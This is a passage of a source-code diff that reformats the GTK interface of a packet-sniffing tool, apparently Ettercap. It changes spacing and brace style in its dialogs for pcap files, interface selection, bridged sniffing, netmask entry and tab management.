gtk_toggle_action_set_active(GTK_TOGGLE_ACTION(action), TRUE); } - if(GBL_OPTIONS->unoffensive) { + if (GBL_OPTIONS->unoffensive) { GBL_OPTIONS->unoffensive = 0; action = gtk_ui_manager_get_action(menu_manager, "/MenuBar/OptionsMenu/Unoffensive"); gtk_toggle_action_set_active(GTK_TOGGLE_ACTION(action), TRUE); @@ -993,37 +974,37 @@ static void gtkui_setup(void) /* notebook for MDI pages */ notebook_frame = gtk_frame_new(NULL); - gtk_frame_set_shadow_type(GTK_FRAME (notebook_frame), GTK_SHADOW_IN); + gtk_frame_set_shadow_type(GTK_FRAME(notebook_frame), GTK_SHADOW_IN); gtk_paned_pack1(GTK_PANED(vpaned), notebook_frame, TRUE, TRUE); gtk_widget_show(notebook_frame); path = INSTALL_DATADIR "/" EC_PROGRAM "/" LOGO_FILE; - if(g_file_test(path, G_FILE_TEST_EXISTS)) + if (g_file_test(path, G_FILE_TEST_EXISTS)) logo = gtk_image_new_from_file(path); else /* if neither path is valid gtk will use a broken image icon */ logo = gtk_image_new_from_file("./share/" LOGO_FILE); - gtk_misc_set_alignment (GTK_MISC (logo), 0.5, 0.5); - gtk_container_add(GTK_CONTAINER (notebook_frame), logo); + gtk_misc_set_alignment(GTK_MISC(logo), 0.5, 0.5); + gtk_container_add(GTK_CONTAINER(notebook_frame), logo); gtk_widget_show(logo); /* messages */ scroll = gtk_scrolled_window_new(NULL, NULL); - gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW (scroll), + gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW(scroll), GTK_POLICY_AUTOMATIC, GTK_POLICY_ALWAYS); - gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW (scroll), GTK_SHADOW_IN); + gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW(scroll), GTK_SHADOW_IN); gtk_widget_set_size_request(scroll, -1, 140); - gtk_paned_pack2(GTK_PANED (vpaned), scroll, FALSE, TRUE); + gtk_paned_pack2(GTK_PANED(vpaned), scroll, FALSE, TRUE); gtk_widget_show(scroll); textview = gtk_text_view_new(); - gtk_text_view_set_wrap_mode(GTK_TEXT_VIEW (textview), GTK_WRAP_WORD_CHAR); - gtk_text_view_set_editable(GTK_TEXT_VIEW (textview), FALSE); - gtk_text_view_set_cursor_visible(GTK_TEXT_VIEW (textview), FALSE); - gtk_container_add(GTK_CONTAINER (scroll), textview); + gtk_text_view_set_wrap_mode(GTK_TEXT_VIEW(textview), GTK_WRAP_WORD_CHAR); + gtk_text_view_set_editable(GTK_TEXT_VIEW(textview), FALSE); + gtk_text_view_set_cursor_visible(GTK_TEXT_VIEW(textview), FALSE); + gtk_container_add(GTK_CONTAINER(scroll), textview); gtk_widget_show(textview); - msgbuffer = gtk_text_view_get_buffer(GTK_TEXT_VIEW (textview)); + msgbuffer = gtk_text_view_get_buffer(GTK_TEXT_VIEW(textview)); gtk_text_buffer_get_end_iter(msgbuffer, &iter); endmark = gtk_text_buffer_create_mark(msgbuffer, "end", &iter, FALSE); @@ -1046,41 +1027,41 @@ static void gtkui_file_open(void) DEBUG_MSG("gtk_file_open"); - dialog = gtk_file_chooser_dialog_new("Select a pcap file...", - GTK_WINDOW(window), GTK_FILE_CHOOSER_ACTION_OPEN, - GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, - GTK_STOCK_OPEN, GTK_RESPONSE_OK, - NULL); + dialog = gtk_file_chooser_dialog_new("Select a pcap file...", + GTK_WINDOW(window), GTK_FILE_CHOOSER_ACTION_OPEN, + GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, + GTK_STOCK_OPEN, GTK_RESPONSE_OK, + NULL); /* This way the file chooser dialog doesn't start in the recent section */ gtk_file_chooser_set_current_folder(GTK_FILE_CHOOSER(dialog), ""); - response = gtk_dialog_run (GTK_DIALOG (dialog)); + response = gtk_dialog_run(GTK_DIALOG(dialog)); if (response == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); filename = gtk_file_chooser_get_filename(GTK_FILE_CHOOSER(dialog)); /* destroy needs to come before read_pcapfile so gtk_main_quit - can reside inside read_pcapfile, which is why destroy is here - twice and not after the if() block */ - gtk_widget_destroy (dialog); + * can reside inside read_pcapfile, which is why destroy is here + * twice and not after the if() block */ + gtk_widget_destroy(dialog); - read_pcapfile (filename); + read_pcapfile(filename); g_free(filename); } else { - gtk_widget_destroy (dialog); + gtk_widget_destroy(dialog); } } static void read_pcapfile(gchar *file) { char pcap_errbuf[PCAP_ERRBUF_SIZE]; - + DEBUG_MSG("read_pcapfile %s", file); - - SAFE_CALLOC(GBL_OPTIONS->pcapfile_in, strlen(file)+1, sizeof(char)); - snprintf(GBL_OPTIONS->pcapfile_in, strlen(file)+1, "%s", file); + SAFE_CALLOC(GBL_OPTIONS->pcapfile_in, strlen(file) + 1, sizeof(char)); + + snprintf(GBL_OPTIONS->pcapfile_in, strlen(file) + 1, "%s", file); /* check if the file is good */ if (is_pcap_file(GBL_OPTIONS->pcapfile_in, pcap_errbuf) != E_SUCCESS) { @@ -1088,7 +1069,7 @@ static void read_pcapfile(gchar *file) SAFE_FREE(GBL_OPTIONS->pcapfile_in); return; } - + /* set the options for reading from file */ GBL_OPTIONS->silent = 1; GBL_OPTIONS->unoffensive = 1; @@ -1104,45 +1085,45 @@ static void read_pcapfile(gchar *file) static void gtkui_file_write(void) { #define FILE_LEN 40 - + GtkWidget *dialog; gchar *filename; int response = 0; DEBUG_MSG("gtk_file_write"); - - dialog = gtk_file_chooser_dialog_new("Save traffic in a pcap file...", - GTK_WINDOW(window), GTK_FILE_CHOOSER_ACTION_SAVE, - GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, - GTK_STOCK_OPEN, GTK_RESPONSE_OK, - NULL); + + dialog = gtk_file_chooser_dialog_new("Save traffic in a pcap file...", + GTK_WINDOW(window), GTK_FILE_CHOOSER_ACTION_SAVE, + GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, + GTK_STOCK_OPEN, GTK_RESPONSE_OK, + NULL); /* This way the file chooser dialog doesn't start in the recent section */ gtk_file_chooser_set_current_folder(GTK_FILE_CHOOSER(dialog), ""); - response = gtk_dialog_run (GTK_DIALOG (dialog)); + response = gtk_dialog_run(GTK_DIALOG(dialog)); if (response == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); filename = gtk_file_chooser_get_filename(GTK_FILE_CHOOSER(dialog)); /* destroy needs to come before read_pcapfile so gtk_main_quit - can reside inside read_pcapfile, which is why destroy is here - twice and not after the if() block */ - gtk_widget_destroy (dialog); + * can reside inside read_pcapfile, which is why destroy is here + * twice and not after the if() block */ + gtk_widget_destroy(dialog); GBL_OPTIONS->pcapfile_out = filename; write_pcapfile(); } else { - gtk_widget_destroy (dialog); + gtk_widget_destroy(dialog); } } static void write_pcapfile(void) { FILE *f; - + DEBUG_MSG("write_pcapfile"); - + /* check if the file is writeable */ f = fopen(GBL_OPTIONS->pcapfile_out, "w"); if (f == NULL) { @@ -1150,7 +1131,7 @@ static void write_pcapfile(void) g_free(GBL_OPTIONS->pcapfile_out); return; } - + /* if ok, delete it */ fclose(f); unlink(GBL_OPTIONS->pcapfile_out); @@ -1177,33 +1158,33 @@ static void gtkui_unified_sniff(void) DEBUG_MSG("gtk_unified_sniff"); - dialog = gtk_dialog_new_with_buttons(EC_PROGRAM" Input", GTK_WINDOW (window), - GTK_DIALOG_MODAL, - GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, + dialog = gtk_dialog_new_with_buttons(EC_PROGRAM " Input", GTK_WINDOW(window), + GTK_DIALOG_MODAL, + GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, GTK_STOCK_OK, GTK_RESPONSE_OK, NULL); #if !GTK_CHECK_VERSION(2, 22, 0) // depricated since Gtk 2.22 - gtk_dialog_set_has_separator(GTK_DIALOG (dialog), FALSE); + gtk_dialog_set_has_separator(GTK_DIALOG(dialog), FALSE); #endif - gtk_container_set_border_width(GTK_CONTAINER (dialog), 5); - + gtk_container_set_border_width(GTK_CONTAINER(dialog), 5); + hbox = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 6, FALSE); content_area = gtk_dialog_get_content_area(GTK_DIALOG(dialog)); gtk_container_add(GTK_CONTAINER(content_area), hbox); - - image = gtk_image_new_from_stock (GTK_STOCK_DIALOG_QUESTION, GTK_ICON_SIZE_DIALOG); - gtk_misc_set_alignment (GTK_MISC (image), 0.5, 0.0); - gtk_box_pack_start (GTK_BOX (hbox), image, FALSE, FALSE, 0); - - label = gtk_label_new ("Network interface : "); - gtk_label_set_line_wrap (GTK_LABEL (label), TRUE); - gtk_label_set_selectable (GTK_LABEL (label), TRUE); - gtk_box_pack_start (GTK_BOX (hbox), label, TRUE, TRUE, 0); + + image = gtk_image_new_from_stock(GTK_STOCK_DIALOG_QUESTION, GTK_ICON_SIZE_DIALOG); + gtk_misc_set_alignment(GTK_MISC(image), 0.5, 0.0); + gtk_box_pack_start(GTK_BOX(hbox), image, FALSE, FALSE, 0); + + label = gtk_label_new("Network interface : "); + gtk_label_set_line_wrap(GTK_LABEL(label), TRUE); + gtk_label_set_selectable(GTK_LABEL(label), TRUE); + gtk_box_pack_start(GTK_BOX(hbox), label, TRUE, TRUE, 0); /* make a list of network interfaces */ iface_list = gtk_list_store_new(1, G_TYPE_STRING); - for(dev = (pcap_if_t *)GBL_PCAP->ifs; dev != NULL; dev = dev->next) { + for (dev = (pcap_if_t *)GBL_PCAP->ifs; dev != NULL; dev = dev->next) { gtk_list_store_append(iface_list, &iter); gtk_list_store_set(iface_list, &iter, 0, dev->description, -1); } @@ -1216,7 +1197,7 @@ static void gtkui_unified_sniff(void) cell = gtk_cell_renderer_text_new(); gtk_cell_layout_pack_start(GTK_CELL_LAYOUT(iface_combo), cell, TRUE); - gtk_cell_layout_set_attributes( GTK_CELL_LAYOUT( iface_combo ), cell, "text", 0, NULL ); + gtk_cell_layout_set_attributes(GTK_CELL_LAYOUT(iface_combo), cell, "text", 0, NULL); gtk_combo_box_set_active(GTK_COMBO_BOX(iface_combo), 0); vbox = gtkui_box_new(GTK_ORIENTATION_VERTICAL, 0, FALSE); @@ -1225,11 +1206,11 @@ static void gtkui_unified_sniff(void) /* hitting Enter in the drop down box clicks OK */ g_object_set_data(G_OBJECT(GTK_COMBO_BOX(iface_combo)), "dialog", dialog); - g_signal_connect(G_OBJECT(GTK_COMBO_BOX(iface_combo)), - "key-press-event", G_CALLBACK(gtkui_combo_enter), NULL); + g_signal_connect(G_OBJECT(GTK_COMBO_BOX(iface_combo)), + "key-press-event", G_CALLBACK(gtkui_combo_enter), NULL); /* render the contents of the dialog */ - gtk_widget_show_all (hbox); + gtk_widget_show_all(hbox); /* show the dialog itself and become interactive */ if (gtk_dialog_run(GTK_DIALOG(dialog)) == GTK_RESPONSE_OK) { @@ -1237,9 +1218,9 @@ static void gtkui_unified_sniff(void) model = gtk_combo_box_get_model(GTK_COMBO_BOX(iface_combo)); gtk_tree_model_get(model, &iter, 0, &iface_desc, -1); - for(dev = (pcap_if_t *)GBL_PCAP->ifs; dev != NULL; dev = dev->next) { - if(!strncmp(dev->description, iface_desc, IFACE_LEN)) { - + for (dev = (pcap_if_t *)GBL_PCAP->ifs; dev != NULL; dev = dev->next) { + if (!strncmp(dev->description, iface_desc, IFACE_LEN)) { + SAFE_FREE(GBL_OPTIONS->iface); SAFE_CALLOC(GBL_OPTIONS->iface, IFACE_LEN, sizeof(char)); @@ -1249,7 +1230,7 @@ static void gtkui_unified_sniff(void) } /* if no match in list */ - if(GBL_OPTIONS->iface == NULL) { + if (GBL_OPTIONS->iface == NULL) { snprintf(err, 100, "Invalid interface: %s", iface_desc); gtkui_error(err); gtk_widget_destroy(dialog); @@ -1264,13 +1245,13 @@ static void gtkui_unified_sniff(void) gtk_widget_destroy(dialog); } -/* +/* * start unified sniffing with default interface */ -static void gtkui_unified_sniff_default(void) +static void gtkui_unified_sniff_default(void) { char err[PCAP_ERRBUF_SIZE]; - + DEBUG_MSG("gtkui_unified_sniff_default"); /* the ec_capture will find the interface for us */ @@ -1280,7 +1261,7 @@ static void gtkui_unified_sniff_default(void) SAFE_CALLOC(GBL_OPTIONS->iface, IFACE_LEN, sizeof(char)); iface = pcap_lookupdev(err); ON_ERROR(iface, NULL, "pcap_lookupdev: %s", err); - + strncpy(GBL_OPTIONS->iface, iface, IFACE_LEN - 1); } @@ -1305,14 +1286,14 @@ static void gtkui_bridged_sniff(void) DEBUG_MSG("gtk_bridged_sniff"); - dialog = gtk_dialog_new_with_buttons("Bridged Sniffing", GTK_WINDOW (window), - GTK_DIALOG_MODAL, - GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, + dialog = gtk_dialog_new_with_buttons("Bridged Sniffing", GTK_WINDOW(window), + GTK_DIALOG_MODAL, + GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, GTK_STOCK_OK, GTK_RESPONSE_OK, NULL); - gtk_container_set_border_width(GTK_CONTAINER (dialog), 5); + gtk_container_set_border_width(GTK_CONTAINER(dialog), 5); #if !GTK_CHECK_VERSION(2, 22, 0) // depricated since Gtk 2.22 - gtk_dialog_set_has_separator(GTK_DIALOG (dialog), FALSE); + gtk_dialog_set_has_separator(GTK_DIALOG(dialog), FALSE); #endif hbox_big = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 5, FALSE); @@ -1321,35 +1302,35 @@ static void gtkui_bridged_sniff(void) gtk_container_add(GTK_CONTAINER(content_area), hbox_big); vbox = gtkui_box_new(GTK_ORIENTATION_VERTICAL, 0, FALSE); - image = gtk_image_new_from_stock (GTK_STOCK_DIALOG_QUESTION, GTK_ICON_SIZE_DIALOG); - gtk_misc_set_alignment (GTK_MISC (image), 0.5, 0.1); - gtk_box_pack_start (GTK_BOX (vbox), image, TRUE, FALSE, 5); + image = gtk_image_new_from_stock(GTK_STOCK_DIALOG_QUESTION, GTK_ICON_SIZE_DIALOG); + gtk_misc_set_alignment(GTK_MISC(image), 0.5, 0.1); + gtk_box_pack_start(GTK_BOX(vbox), image, TRUE, FALSE, 5); gtk_box_pack_start(GTK_BOX(hbox_big), vbox, FALSE, FALSE, 0); vbox = gtkui_box_new(GTK_ORIENTATION_VERTICAL, 2, FALSE); - gtk_container_set_border_width(GTK_CONTAINER (vbox), 5); - gtk_box_pack_start (GTK_BOX (hbox_big), vbox, TRUE, TRUE, 0); + gtk_container_set_border_width(GTK_CONTAINER(vbox), 5); + gtk_box_pack_start(GTK_BOX(hbox_big), vbox, TRUE, TRUE, 0); hbox = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 0, FALSE); - gtk_box_pack_start(GTK_BOX (vbox), hbox, TRUE, TRUE, 0); + gtk_box_pack_start(GTK_BOX(vbox), hbox, TRUE, TRUE, 0); - label = gtk_label_new ("First network interface : "); - gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); - gtk_box_pack_start(GTK_BOX (hbox), label, TRUE, TRUE, 0); + label = gtk_label_new("First network interface : "); + gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); + gtk_box_pack_start(GTK_BOX(hbox), label, TRUE, TRUE, 0); hbox = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 0, FALSE); - gtk_box_pack_start(GTK_BOX (vbox), hbox, TRUE, TRUE, 0); + gtk_box_pack_start(GTK_BOX(vbox), hbox, TRUE, TRUE, 0); - label = gtk_label_new ("Second network interface : "); - gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); - gtk_box_pack_start(GTK_BOX (hbox), label, TRUE, TRUE, 0); + label = gtk_label_new("Second network interface : "); + gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); + gtk_box_pack_start(GTK_BOX(hbox), label, TRUE, TRUE, 0); vbox = gtkui_box_new(GTK_ORIENTATION_VERTICAL, 0, FALSE); gtk_box_pack_start(GTK_BOX(hbox_big), vbox, TRUE, TRUE, 0); /* make a list of network interfaces */ iface_list = gtk_list_store_new(1, G_TYPE_STRING); - for(dev = (pcap_if_t *)GBL_PCAP->ifs; dev != NULL; dev = dev->next) { + for (dev = (pcap_if_t *)GBL_PCAP->ifs; dev != NULL; dev = dev->next) { gtk_list_store_append(iface_list, &iter); gtk_list_store_set(iface_list, &iter, 0, dev->description, -1); } @@ -1362,7 +1343,7 @@ static void gtkui_bridged_sniff(void) gtk_cell_layout_pack_start(GTK_CELL_LAYOUT(combo1), cell1, TRUE); gtk_cell_layout_set_attributes(GTK_CELL_LAYOUT(combo1), cell1, "text", 0, NULL); - gtk_box_pack_start (GTK_BOX (vbox), combo1, TRUE, FALSE, 0); + gtk_box_pack_start(GTK_BOX(vbox), combo1, TRUE, FALSE, 0); gtk_combo_box_set_active(GTK_COMBO_BOX(combo1), 0); /* make a drop down box and assign the list to it */ @@ -1383,25 +1364,25 @@ static void gtkui_bridged_sniff(void) gtk_widget_show_all(hbox_big); - if (gtk_dialog_run (GTK_DIALOG (dialog)) == GTK_RESPONSE_OK) { + if (gtk_dialog_run(GTK_DIALOG(dialog)) == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); gtk_combo_box_get_active_iter(GTK_COMBO_BOX(combo1), &iter); model = gtk_combo_box_get_model(GTK_COMBO_BOX(combo1)); gtk_tree_model_get(model, &iter, 0, &iface_desc, -1); - for(dev = (pcap_if_t *)GBL_PCAP->ifs; dev != NULL; dev = dev->next) { - if(!strncmp(dev->description, iface_desc, IFACE_LEN)) { - + for (dev = (pcap_if_t *)GBL_PCAP->ifs; dev != NULL; dev = dev->next) { + if (!strncmp(dev->description, iface_desc, IFACE_LEN)) { + SAFE_FREE(GBL_OPTIONS->iface); SAFE_CALLOC(GBL_OPTIONS->iface, IFACE_LEN, sizeof(char)); strncpy(GBL_OPTIONS->iface, dev->name, IFACE_LEN); - break; - } + break; + } } /* if no match in list */ - if(GBL_OPTIONS->iface == NULL) { + if (GBL_OPTIONS->iface == NULL) { snprintf(err, 100, "Invalid interface: %s", iface_desc); gtkui_error(err); gtk_widget_destroy(dialog); @@ -1412,9 +1393,9 @@ static void gtkui_bridged_sniff(void) model = gtk_combo_box_get_model(GTK_COMBO_BOX(combo2)); gtk_tree_model_get(model, &iter, 0, &iface_desc, -1); - for(dev = (pcap_if_t *)GBL_PCAP->ifs; dev != NULL; dev = dev->next) { - if(!strncmp(dev->description, iface_desc, IFACE_LEN)) { - + for (dev = (pcap_if_t *)GBL_PCAP->ifs; dev != NULL; dev = dev->next) { + if (!strncmp(dev->description, iface_desc, IFACE_LEN)) { + SAFE_FREE(GBL_OPTIONS->iface_bridge); SAFE_CALLOC(GBL_OPTIONS->iface_bridge, IFACE_LEN, sizeof(char)); @@ -1424,7 +1405,7 @@ static void gtkui_bridged_sniff(void) } /* if no match in list */ - if(GBL_OPTIONS->iface_bridge == NULL) { + if (GBL_OPTIONS->iface_bridge == NULL) { snprintf(err, 100, "Invalid interface: %s", iface_desc); gtkui_error(err); gtk_widget_destroy(dialog); @@ -1440,7 +1421,7 @@ static void gtkui_bridged_sniff(void) static void bridged_sniff(void) { set_bridge_sniff(); - + /* leaves setup menu, goes to main interface */ gtk_main_quit(); } @@ -1451,13 +1432,13 @@ static void bridged_sniff(void) static void gtkui_pcap_filter(void) { #define PCAP_FILTER_LEN 50 - + DEBUG_MSG("gtk_pcap_filter"); - + if (GBL_PCAP->filter == NULL) - SAFE_CALLOC(GBL_PCAP->filter, PCAP_FILTER_LEN, sizeof(char)); + SAFE_CALLOC(GBL_PCAP->filter, PCAP_FILTER_LEN, sizeof(char)); - /* + /* * no callback, the filter is set but we have to return to * the interface for other user input */ @@ -1465,39 +1446,38 @@ static void gtkui_pcap_filter(void) } /* - * set a different netmask than the system one + * set a different netmask than the system one */ static void gtkui_set_netmask(void) { struct ip_addr net; - + DEBUG_MSG("gtkui_set_netmask"); - + if (GBL_OPTIONS->netmask == NULL) SAFE_CALLOC(GBL_OPTIONS->netmask, IP_ASCII_ADDR_LEN, sizeof(char)); - /* + /* * no callback, the filter is set but we have to return to * the interface for other user input */ gtkui_input("Netmask :", GBL_OPTIONS->netmask, IP_ASCII_ADDR_LEN, NULL); /* sanity check */ - if (strcmp(GBL_OPTIONS->netmask, "") && - ip_addr_pton(GBL_OPTIONS->netmask, &net) != E_SUCCESS) + if (strcmp(GBL_OPTIONS->netmask, "") && + ip_addr_pton(GBL_OPTIONS->netmask, &net) != E_SUCCESS) ui_error("Invalid netmask %s", GBL_OPTIONS->netmask); - + /* if no netmask was specified, free it */ if (!strcmp(GBL_OPTIONS->netmask, "")) SAFE_FREE(GBL_OPTIONS->netmask); } - /* * Callback for g_timeout_add() to resolve a IP to name asyncronously * if the name is not already in the cache, host_iptoa * immediately returns but starts the resolution process - * in the background. + * in the background. * This function periodically recalls this host_iptoa until * a result in available in the cache and updates the widget. */ @@ -1510,40 +1490,38 @@ gboolean gtkui_iptoa_deferred(gpointer data) DEBUG_MSG("gtkui_iptoa_deferred"); if (host_iptoa(ro->ip, name) == E_SUCCESS) { - /* + /* * Name has now been resolved in the background * Set the widget text and destroy the timer */ if (ro->type == GTK_TYPE_LABEL) - gtk_label_set_text(GTK_LABEL(ro->widget), name); + gtk_label_set_text(GTK_LABEL(ro->widget), name); else if (ro->type == GTK_TYPE_LIST_STORE) - gtk_list_store_set(GTK_LIST_STORE(ro->liststore), - &ro->treeiter, ro->column, name, -1); - + gtk_list_store_set(GTK_LIST_STORE(ro->liststore), + &ro->treeiter, ro->column, name, -1); + /* Free allocated memory */ SAFE_FREE(ro); /* destroy timer */ return FALSE; - } - else { + } else { /* Keep trying */ return TRUE; } } - /* hitting "Enter" keyy in a combo box does the same as clicking OK button */ gboolean gtkui_combo_enter(GtkWidget *widget, GdkEventKey *event, gpointer data) { GtkWidget *dialog; /* variable not used */ - (void) data; + (void)data; if (event->keyval == GDK_KEY_Return) { dialog = g_object_get_data(G_OBJECT(widget), "dialog"); - gtk_dialog_response(GTK_DIALOG (dialog), GTK_RESPONSE_OK); + gtk_dialog_response(GTK_DIALOG(dialog), GTK_RESPONSE_OK); return TRUE; } @@ -1552,19 +1530,21 @@ gboolean gtkui_combo_enter(GtkWidget *widget, GdkEventKey *event, gpointer data) } /* hitting "Enter" key in dialog does same as clicking OK button */ -void gtkui_dialog_enter(GtkWidget *widget, gpointer data) { +void gtkui_dialog_enter(GtkWidget *widget, gpointer data) +{ GtkWidget *dialog; /* variable not used */ - (void) data; + (void)data; dialog = g_object_get_data(G_OBJECT(widget), "dialog"); - gtk_dialog_response(GTK_DIALOG (dialog), GTK_RESPONSE_OK); + gtk_dialog_response(GTK_DIALOG(dialog), GTK_RESPONSE_OK); } /* create a new notebook (tab) page */ /* returns a parent widget to pack the contents of the page into */ -GtkWidget *gtkui_page_new(char *title, void (*callback)(void), void (*detacher)(GtkWidget *)) { +GtkWidget *gtkui_page_new(char *title, void (*callback)(void), void (*detacher)(GtkWidget *)) +{ GtkWidget *parent, *label; GtkWidget *hbox, *button, *image; @@ -1579,14 +1559,14 @@ GtkWidget *gtkui_page_new(char *title, void (*callback)(void), void (*detacher)( /* the close button */ button = gtk_button_new(); - gtk_button_set_relief(GTK_BUTTON (button), GTK_RELIEF_NONE); + gtk_button_set_relief(GTK_BUTTON(button), GTK_RELIEF_NONE); gtk_box_pack_start(GTK_BOX(hbox), button, FALSE, FALSE, 0); gtk_widget_set_size_request(button, 20, 20); gtk_widget_show(button); /* an image for the button */ - image = gtk_image_new_from_stock (GTK_STOCK_CLOSE, GTK_ICON_SIZE_MENU); - gtk_container_add(GTK_CONTAINER (button), image); + image = gtk_image_new_from_stock(GTK_STOCK_CLOSE, GTK_ICON_SIZE_MENU); + gtk_container_add(GTK_CONTAINER(button), image); gtk_widget_show(image); /* a parent to pack the contents into */ @@ -1594,18 +1574,18 @@ GtkWidget *gtkui_page_new(char *title, void (*callback)(void), void (*detacher)( gtk_frame_set_shadow_type(GTK_FRAME(parent), GTK_SHADOW_NONE); gtk_widget_show(parent); - if(!notebook && notebook_frame) { - gtk_container_remove(GTK_CONTAINER (notebook_frame), gtk_bin_get_child(GTK_BIN (notebook_frame))); + if (!notebook && notebook_frame) { + gtk_container_remove(GTK_CONTAINER(notebook_frame), gtk_bin_get_child(GTK_BIN(notebook_frame))); notebook = gtk_notebook_new(); - gtk_notebook_set_tab_pos(GTK_NOTEBOOK (notebook), GTK_POS_TOP); - gtk_notebook_set_scrollable(GTK_NOTEBOOK (notebook), TRUE); - gtk_container_add(GTK_CONTAINER (notebook_frame), notebook); + gtk_notebook_set_tab_pos(GTK_NOTEBOOK(notebook), GTK_POS_TOP); + gtk_notebook_set_scrollable(GTK_NOTEBOOK(notebook), TRUE); + gtk_container_add(GTK_CONTAINER(notebook_frame), notebook); gtk_widget_show(notebook); - #if GTK_MINOR_VERSION == 2 - g_signal_connect(G_OBJECT (notebook), "switch-page", G_CALLBACK(gtkui_page_defocus_tabs), NULL); - #endif +#if GTK_MINOR_VERSION == 2 + g_signal_connect(G_OBJECT(notebook), "switch-page", G_CALLBACK(gtkui_page_defocus_tabs), NULL); +#endif gtkui_create_tab_menu(); } @@ -1613,26 +1593,27 @@ GtkWidget *gtkui_page_new(char *title, void (*callback)(void), void (*detacher)( gtk_notebook_append_page(GTK_NOTEBOOK(notebook), parent, hbox); /* attach callback to destroy the tab/page */ - g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK(gtkui_page_close), parent); + g_signal_connect(G_OBJECT(button), "clicked", G_CALLBACK(gtkui_page_close), parent); /* attach callback to do specific clean-up */ - if(callback) - g_object_set_data(G_OBJECT (parent), "destroy", callback); + if (callback) + g_object_set_data(G_OBJECT(parent), "destroy", callback); - if(detacher) - g_object_set_data(G_OBJECT (parent), "detach", detacher); + if (detacher) + g_object_set_data(G_OBJECT(parent), "detach", detacher); gtkui_page_present(parent); - return(parent); + return parent; } /* show and focus the page containing child */ -void gtkui_page_present(GtkWidget *child) { +void gtkui_page_present(GtkWidget *child) +{ int num = 0; - num = gtk_notebook_page_num(GTK_NOTEBOOK (notebook), child); - gtk_notebook_set_current_page(GTK_NOTEBOOK (notebook), num); + num = gtk_notebook_page_num(GTK_NOTEBOOK(notebook), child); + gtk_notebook_set_current_page(GTK_NOTEBOOK(notebook), num); #if GTK_MINOR_VERSION == 2 gtkui_page_defocus_tabs(); @@ -1650,85 +1631,90 @@ static void gtkui_page_defocus_tabs(void) int pages = 0; /* make sure all the close buttons loose focus */ - for(pages = gtk_notebook_get_n_pages(GTK_NOTEBOOK (notebook)); pages > 0; pages--) { - contents = gtk_notebook_get_nth_page(GTK_NOTEBOOK (notebook), (pages - 1)); - label = gtk_notebook_get_tab_label(GTK_NOTEBOOK (notebook), contents); - - list = gtk_container_get_children(GTK_CONTAINER (label)); - for(curr = list; curr != NULL; curr = curr->next) - if(GTK_IS_BUTTON (curr->data)) - gtk_button_leave(GTK_BUTTON (curr->data)); + for (pages = gtk_notebook_get_n_pages(GTK_NOTEBOOK(notebook)); pages > 0; pages--) { + contents = gtk_notebook_get_nth_page(GTK_NOTEBOOK(notebook), (pages - 1)); + label = gtk_notebook_get_tab_label(GTK_NOTEBOOK(notebook), contents); + + list = gtk_container_get_children(GTK_CONTAINER(label)); + for (curr = list; curr != NULL; curr = curr->next) + if (GTK_IS_BUTTON(curr->data)) + gtk_button_leave(GTK_BUTTON(curr->data)); } } + #endif /* close the page containing the child passed in "data" */ -void gtkui_page_close(GtkWidget *widget, gpointer data) { +void gtkui_page_close(GtkWidget *widget, gpointer data) +{ GtkWidget *child; gint num = 0; void (*callback)(void); /* variable not used */ - (void) widget; - (void) data; + (void)widget; + (void)data; DEBUG_MSG("gtkui_page_close"); - num = gtk_notebook_page_num(GTK_NOTEBOOK(notebook), GTK_WIDGET (data)); + num = gtk_notebook_page_num(GTK_NOTEBOOK(notebook), GTK_WIDGET(data)); child = gtk_notebook_get_nth_page(GTK_NOTEBOOK(notebook), num); g_object_ref(G_OBJECT(child)); gtk_notebook_remove_page(GTK_NOTEBOOK(notebook), num); - callback = g_object_get_data(G_OBJECT (child), "destroy"); - if(callback) + callback = g_object_get_data(G_OBJECT(child), "destroy"); + if (callback) callback(); } /* close the currently focused notebook page */ -void gtkui_page_close_current(void) { +void gtkui_page_close_current(void) +{ GtkWidget *child; gint num = 0; - num = gtk_notebook_get_current_page(GTK_NOTEBOOK (notebook)); + num = gtk_notebook_get_current_page(GTK_NOTEBOOK(notebook)); child = gtk_notebook_get_nth_page(GTK_NOTEBOOK(notebook), num); gtkui_page_close(NULL, child); } /* show the context menu when the notebook tabs recieve a mouse right-click */ -gboolean gtkui_context_menu(GtkWidget *widget, GdkEventButton *event, gpointer data) { +gboolean gtkui_context_menu(GtkWidget *widget, GdkEventButton *event, gpointer data) +{ /* variable not used */ - (void) widget; - - if(event->button == 3) { - gtk_menu_popup(GTK_MENU(data), NULL, NULL, NULL, NULL, 3, event->time); - /* - * button press event handle must return TRUE to keep the selection - * active when pressing the mouse button - */ - return TRUE; - } - - return FALSE; + (void)widget; + + if (event->button == 3) { + gtk_menu_popup(GTK_MENU(data), NULL, NULL, NULL, NULL, 3, event->time); + /* + * button press event handle must return TRUE to keep the selection + * active when pressing the mouse button + */ + return TRUE; + } + + return FALSE; } /* detach the currently focused notebook page into a free window */ -void gtkui_page_detach_current(void) { +void gtkui_page_detach_current(void) +{ void (*detacher)(GtkWidget *); GtkWidget *child; gint num = 0; - num = gtk_notebook_get_current_page(GTK_NOTEBOOK (notebook)); - if(num < 0) + num = gtk_notebook_get_current_page(GTK_NOTEBOOK(notebook)); + if (num < 0) return; child = gtk_notebook_get_nth_page(GTK_NOTEBOOK(notebook), num); g_object_ref(G_OBJECT(child)); 